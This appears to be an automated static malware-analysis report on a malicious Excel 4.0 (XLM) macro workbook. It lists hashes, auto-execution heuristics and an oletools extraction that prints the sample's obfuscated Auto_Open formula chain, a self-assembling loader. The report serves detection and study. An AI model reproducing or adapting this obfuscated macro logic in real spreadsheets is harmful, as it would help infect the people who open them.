Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ff8696419cfedf97…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:42:35 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: f1ea04d7a38fb5b2b1af5208b1c7385d SHA-1: 8a4f6671f1356eabaf8e0d8e68f9e20f5c088f6b SHA-256: ff8696419cfedf97f2324112408544994ac5e780022c16791ccb669e2344736a
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6385 bytes
SHA-256: 22a6233dc49d1855df54ef0d6ebb3f9171b6c10482ab7acc70c918927241d516
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Trtc
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A159 
' 0018     23 LABEL : Cell Value, String Constant - bdCvzeWH len=0 
' 0018     21 LABEL : Cell Value, String Constant - HoBkak len=0 
' 0018     22 LABEL : Cell Value, String Constant - IFAhHTB len=0 
' 0018     23 LABEL : Cell Value, String Constant - lpvCVVCf len=0 
' 0018     24 LABEL : Cell Value, String Constant - lxzTvGzEk len=0 
' 0018     22 LABEL : Cell Value, String Constant - MDsLvOS len=0 
' 0018     25 LABEL : Cell Value, String Constant - OhyoFVfQSo len=0 
' 0018     23 LABEL : Cell Value, String Constant - OiJoXlEe len=0 
' 0018     27 LABEL : Cell Value, String Constant - OoAGnTrhORKB len=0 
' 0018     24 LABEL : Cell Value, String Constant - PyYFfrWPE len=0 
' 0018     22 LABEL : Cell Value, String Constant - raQdtCg len=0 
' 0018     23 LABEL : Cell Value, String Constant - RrJoJtId len=0 
' 0018     22 LABEL : Cell Value, String Constant - RtjoMWR len=0 
' 0018     21 LABEL : Cell Value, String Constant - SbUqGW len=0 
' 0018     24 LABEL : Cell Value, String Constant - SHMIoJnSy len=0 
' 0018     22 LABEL : Cell Value, String Constant - sUwVMQD len=0 
' 0018     21 LABEL : Cell Value, String Constant - UeCixX len=0 
' 0018     26 LABEL : Cell Value, String Constant - XljMBnfbAlJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - YGZDRMxX len=0 
' 0018     27 LABEL : Cell Value, String Constant - YZHRthgZCLVE len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Trtc,A70,"SET.NAME("sUwVMQD",VALUE("0"))",""
'  Trtc,A75,"SET.NAME("UeCixX",sUwVMQD)",""
'  Trtc,A77,"SET.NAME("OoAGnTrhORKB",sUwVMQD)",""
'  Trtc,A82,"SET.NAME("raQdtCg",COUNTA(HoBkak))",""
'  Trtc,A87,"SET.NAME("RtjoMWR",COUNTA(RrJoJtId))",""
'  Trtc,A91,[],""
'  Trtc,A94,"SET.NAME("IFAhHTB","")",""
'  Trtc,A98,"UeCixX",""
'  Trtc,A100,"SET.NAME("lpvCVVCf",HLOOKUP("*",HoBkak,UeCixX,FALSE))",""
'  Trtc,A104,"YZHRthgZCLVE",""
'  Trtc,A107,"SET.NAME("SHMIoJnSy",sUwVMQD)",""
'  Trtc,A112,[],""
'  Trtc,A115,"SHMIoJnSy",""
'  Trtc,A118,"OiJoXlEe",""
'  Trtc,A122,"MDsLvOS",""
'  Trtc,A124,"YGZDRMxX",""
'  Trtc,A128,"SET.NAME("bdCvzeWH",VALUE(HLOOKUP("*",RrJoJtId,YGZDRMxX,FALSE)))",""
'  Trtc,A130,"SbUqGW",""
'  Trtc,A135,"IFAhHTB",""
'  Trtc,A138,"OoAGnTrhORKB",""
'  Trtc,A142,NEXT(),""
'  Trtc,A146,"OhyoFVfQSo",""
'  Trtc,A150,"SET.NAME("f",INT(T(FORMULA(T(IFAhHTB)&"",""&T(OhyoFVfQSo)))))",""
'  Trtc,A152,"lxzTvGzEk",""
'  Trtc,A155,NEXT(),""
'  Trtc,A157,RETURN(),""
'  Trtc,A181,"SET.NAME("PyYFfrWPE",A70)",""
'  Trtc,A184,"HoBkak",""
'  Trtc,A188,"SET.NAME("RrJoJtId",R64C15)",""
'  Trtc,A191,"SET.NAME("lxzTvGzEk",197)",""
'  Trtc,A194,"SET.NAME("XljMBnfbAlJ",1)",""
'  Trtc,A196,PyYFfrWPE(),""
'  Trtc,A197,HALT(),""